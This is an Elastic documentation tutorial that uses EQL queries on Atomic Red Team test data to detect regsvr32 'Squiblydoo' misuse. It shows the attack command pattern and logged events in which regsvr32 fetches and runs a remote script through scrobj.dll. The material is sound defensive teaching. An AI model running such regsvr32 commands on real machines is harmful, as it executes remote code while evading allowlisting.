detect-threats-with-eql.asciidoc 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385
  1. [role="xpack"]
  2. [testenv="basic"]
  3. [[eql-ex-threat-detection]]
  4. == Example: Detect threats with EQL
  5. This example tutorial shows how you can use EQL to detect security threats and
  6. other suspicious behavior. In the scenario, you're tasked with detecting
  7. https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
  8. logs.
  9. `regsvr32.exe` is a built-in command-line utility used to register `.dll`
  10. libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
  11. letting it bypass most allowlist software and script blockers.
  12. Attackers with access to a user's command line can use `regsvr32.exe` to run
  13. malicious scripts via `.dll` libraries, even on machines that otherwise
  14. disallow such scripts.
  15. One common variant of regsvr32 misuse is a
  16. https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
  17. Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
  18. register and run a remote script. These commands often look like this:
  19. [source,sh]
  20. ----
  21. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  22. ----
  23. [discrete]
  24. [[eql-ex-threat-detection-setup]]
  25. === Setup
  26. This tutorial uses a test dataset from
  27. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
  28. events imitating a Squiblydoo attack. The data has been mapped to
  29. {ecs-ref}[Elastic Common Schema (ECS)] fields.
  30. To get started:
  31. . Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
  32. . Use the <<docs-bulk,bulk API>> to index the data:
  33. +
  34. [source,sh]
  35. ----
  36. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  37. ----
  38. // NOTCONSOLE
  39. . Use the <<cat-indices,cat indices API>> to verify the data was indexed:
  40. +
  41. [source,console]
  42. ----
  43. GET /_cat/indices/my-index-000001?v=true&h=health,status,index,docs.count
  44. ----
  45. // TEST[setup:atomic_red_regsvr32]
  46. +
  47. The response should show a `docs.count` of `150`.
  48. +
  49. [source,txt]
  50. ----
  51. health status index docs.count
  52. yellow open my-index-000001 150
  53. ----
  54. // TESTRESPONSE[non_json]
  55. [discrete]
  56. [[eql-ex-get-a-count-of-regsvr32-events]]
  57. === Get a count of regsvr32 events
  58. First, get a count of events associated with a `regsvr32.exe` process:
  59. [source,console]
  60. ----
  61. GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
  62. {
  63. "query": """
  64. any where process.name == "regsvr32.exe" <2>
  65. """,
  66. "size": 200 <3>
  67. }
  68. ----
  69. // TEST[setup:atomic_red_regsvr32]
  70. <1> `?filter_path=-hits.events` excludes the `hits.events` property from the
  71. response. This search is only intended to get an event count, not a list of
  72. matching events.
  73. <2> Matches any event with a `process.name` of `regsvr32.exe`.
  74. <3> Returns up to 200 hits for matching events.
  75. The response returns 143 related events.
  76. [source,console-result]
  77. ----
  78. {
  79. "is_partial": false,
  80. "is_running": false,
  81. "took": 60,
  82. "timed_out": false,
  83. "hits": {
  84. "total": {
  85. "value": 143,
  86. "relation": "eq"
  87. }
  88. }
  89. }
  90. ----
  91. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  92. [discrete]
  93. [[eql-ex-check-for-command-line-artifacts]]
  94. === Check for command line artifacts
  95. `regsvr32.exe` processes were associated with 143 events. But how was
  96. `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
  97. utility. Narrow your results to processes where the command line was used:
  98. [source,console]
  99. ----
  100. GET /my-index-000001/_eql/search
  101. {
  102. "query": """
  103. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  104. """
  105. }
  106. ----
  107. // TEST[setup:atomic_red_regsvr32]
  108. The query matches one event with an `event.type` of `creation`, indicating the
  109. start of a `regsvr32.exe` process. Based on the event's `process.command_line`
  110. value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
  111. This fits the behavior of a Squiblydoo attack.
  112. [source,console-result]
  113. ----
  114. {
  115. "is_partial": false,
  116. "is_running": false,
  117. "took": 21,
  118. "timed_out": false,
  119. "hits": {
  120. "total": {
  121. "value": 1,
  122. "relation": "eq"
  123. },
  124. "events": [
  125. {
  126. "_index": "my-index-000001",
  127. "_id": "gl5MJXMBMk1dGnErnBW8",
  128. "_source": {
  129. "process": {
  130. "parent": {
  131. "name": "cmd.exe",
  132. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  133. "executable": "C:\\Windows\\System32\\cmd.exe"
  134. },
  135. "name": "regsvr32.exe",
  136. "pid": 2012,
  137. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  138. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  139. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  140. "ppid": 2652
  141. },
  142. "logon_id": 217055,
  143. "@timestamp": 131883573237130000,
  144. "event": {
  145. "category": "process",
  146. "type": "creation"
  147. },
  148. "user": {
  149. "full_name": "bob",
  150. "domain": "ART-DESKTOP",
  151. "id": "ART-DESKTOP\\bob"
  152. }
  153. }
  154. }
  155. ]
  156. }
  157. }
  158. ----
  159. // TESTRESPONSE[s/"took": 21/"took": $body.took/]
  160. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  161. [discrete]
  162. [[eql-ex-check-for-malicious-script-loads]]
  163. === Check for malicious script loads
  164. Check if `regsvr32.exe` later loads the `scrobj.dll` library:
  165. [source,console]
  166. ----
  167. GET /my-index-000001/_eql/search
  168. {
  169. "query": """
  170. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  171. """
  172. }
  173. ----
  174. // TEST[setup:atomic_red_regsvr32]
  175. The query matches an event, confirming `scrobj.dll` was loaded.
  176. [source,console-result]
  177. ----
  178. {
  179. "is_partial": false,
  180. "is_running": false,
  181. "took": 5,
  182. "timed_out": false,
  183. "hits": {
  184. "total": {
  185. "value": 1,
  186. "relation": "eq"
  187. },
  188. "events": [
  189. {
  190. "_index": "my-index-000001",
  191. "_id": "ol5MJXMBMk1dGnErnBW8",
  192. "_source": {
  193. "process": {
  194. "name": "regsvr32.exe",
  195. "pid": 2012,
  196. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  197. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  198. },
  199. "@timestamp": 131883573237450016,
  200. "dll": {
  201. "path": "C:\\Windows\\System32\\scrobj.dll",
  202. "name": "scrobj.dll"
  203. },
  204. "event": {
  205. "category": "library"
  206. }
  207. }
  208. }
  209. ]
  210. }
  211. }
  212. ----
  213. // TESTRESPONSE[s/"took": 5/"took": $body.took/]
  214. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  215. [discrete]
  216. [[eql-ex-detemine-likelihood-of-success]]
  217. === Determine the likelihood of success
  218. In many cases, attackers use malicious scripts to connect to remote servers or
  219. download other files. Use an <<eql-sequences,EQL sequence query>> to check
  220. for the following series of events:
  221. . A `regsvr32.exe` process
  222. . A load of the `scrobj.dll` library by the same process
  223. . Any network event by the same process
  224. Based on the command line value seen in the previous response, you can expect to
  225. find a match. However, this query isn't designed for that specific command.
  226. Instead, it looks for a pattern of suspicious behavior that's generic enough to
  227. detect similar threats.
  228. [source,console]
  229. ----
  230. GET /my-index-000001/_eql/search
  231. {
  232. "query": """
  233. sequence by process.pid
  234. [process where process.name == "regsvr32.exe"]
  235. [library where dll.name == "scrobj.dll"]
  236. [network where true]
  237. """
  238. }
  239. ----
  240. // TEST[setup:atomic_red_regsvr32]
  241. The query matches a sequence, indicating the attack likely succeeded.
  242. [source,console-result]
  243. ----
  244. {
  245. "is_partial": false,
  246. "is_running": false,
  247. "took": 25,
  248. "timed_out": false,
  249. "hits": {
  250. "total": {
  251. "value": 1,
  252. "relation": "eq"
  253. },
  254. "sequences": [
  255. {
  256. "join_keys": [
  257. 2012
  258. ],
  259. "events": [
  260. {
  261. "_index": "my-index-000001",
  262. "_id": "gl5MJXMBMk1dGnErnBW8",
  263. "_source": {
  264. "process": {
  265. "parent": {
  266. "name": "cmd.exe",
  267. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  268. "executable": "C:\\Windows\\System32\\cmd.exe"
  269. },
  270. "name": "regsvr32.exe",
  271. "pid": 2012,
  272. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  273. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  274. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  275. "ppid": 2652
  276. },
  277. "logon_id": 217055,
  278. "@timestamp": 131883573237130000,
  279. "event": {
  280. "category": "process",
  281. "type": "creation"
  282. },
  283. "user": {
  284. "full_name": "bob",
  285. "domain": "ART-DESKTOP",
  286. "id": "ART-DESKTOP\\bob"
  287. }
  288. }
  289. },
  290. {
  291. "_index": "my-index-000001",
  292. "_id": "ol5MJXMBMk1dGnErnBW8",
  293. "_source": {
  294. "process": {
  295. "name": "regsvr32.exe",
  296. "pid": 2012,
  297. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  298. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  299. },
  300. "@timestamp": 131883573237450016,
  301. "dll": {
  302. "path": "C:\\Windows\\System32\\scrobj.dll",
  303. "name": "scrobj.dll"
  304. },
  305. "event": {
  306. "category": "library"
  307. }
  308. }
  309. },
  310. {
  311. "_index": "my-index-000001",
  312. "_id": "EF5MJXMBMk1dGnErnBa9",
  313. "_source": {
  314. "process": {
  315. "name": "regsvr32.exe",
  316. "pid": 2012,
  317. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  318. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  319. },
  320. "@timestamp": 131883573238680000,
  321. "destination": {
  322. "address": "151.101.48.133",
  323. "port": "443"
  324. },
  325. "source": {
  326. "address": "192.168.162.134",
  327. "port": "50505"
  328. },
  329. "event": {
  330. "category": "network"
  331. },
  332. "user": {
  333. "full_name": "bob",
  334. "domain": "ART-DESKTOP",
  335. "id": "ART-DESKTOP\\bob"
  336. },
  337. "network": {
  338. "protocol": "tcp",
  339. "direction": "outbound"
  340. }
  341. }
  342. }
  343. ]
  344. }
  345. ]
  346. }
  347. }
  348. ----
  349. // TESTRESPONSE[s/"took": 25/"took": $body.took/]
  350. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  351. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  352. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]